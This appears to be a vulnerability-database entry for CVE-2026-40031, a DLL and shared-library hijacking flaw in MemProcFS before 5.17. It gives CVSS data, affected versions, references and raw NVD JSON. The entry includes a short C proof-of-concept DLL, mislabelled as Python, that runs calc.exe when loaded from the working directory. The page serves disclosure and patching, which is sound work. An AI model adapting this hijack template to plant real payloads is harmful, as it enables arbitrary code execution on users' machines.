CVE-2026-40031

Description

MemProcFS before 5.17 contains multiple unsafe library-loading patterns that enable DLL and shared-library hijacking across six attack surfaces, including bare-name LoadLibraryU and dlopen calls without path qualification for vmmpyc, libMSCompression, and plugin DLLs. An attacker who places a malicious DLL or shared library in the working directory or manipulates LD_LIBRARY_PATH can achieve arbitrary code execution when MemProcFS loads.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ufrisk:memprocfs:*:*:*:*:*:*:*:* - VULNERABLE

MemProcFS < 5.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-40031: MemProcFS DLL Hijacking
 * Compile as 'libMSCompression.dll' (Windows) or 'libMSCompression.so' (Linux)
 * Place in the working directory and run MemProcFS.
 */
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Execution payload (e.g., calc.exe)
        WinExec("calc.exe", SW_SHOW);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40031
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40031
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40031/
[4] VulDB https://vuldb.com/cve/CVE-2026-40031
[5] https://github.com/ufrisk/MemProcFS/commit/df80e6e83641f5004025ce661e6dd8139028d7b5
[6] https://github.com/ufrisk/MemProcFS/releases/tag/v5.17
[7] https://mobasi.ai/sentinel
[8] https://www.vulncheck.com/advisories/memprocfs-dll-shared-library-hijacking

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40031", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:23.650", "lastModified": "2026-04-17T16:15:37.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MemProcFS before 5.17 contains multiple unsafe library-loading patterns that enable DLL and shared-library hijacking across six attack surfaces, including bare-name LoadLibraryU and dlopen calls without path qualification for vmmpyc, libMSCompression, and plugin DLLs. An attacker who places a malicious DLL or shared library in the working directory or manipulates LD_LIBRARY_PATH can achieve arbitrary code execution when MemProcFS loads."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ufrisk:memprocfs:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.17", "matchCriteriaId": "B95245AF-723F-4F9F-8EC2-21508A16EBCB"}]}]}], "references": [{"url": "https://github.com/ufrisk/MemProcFS/commit/df80e6e83641f5004025ce661e6dd8139028d7b5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ufrisk/MemProcFS/releases/tag/v5.17", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/memprocfs-dll-shared-library-hijacking", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}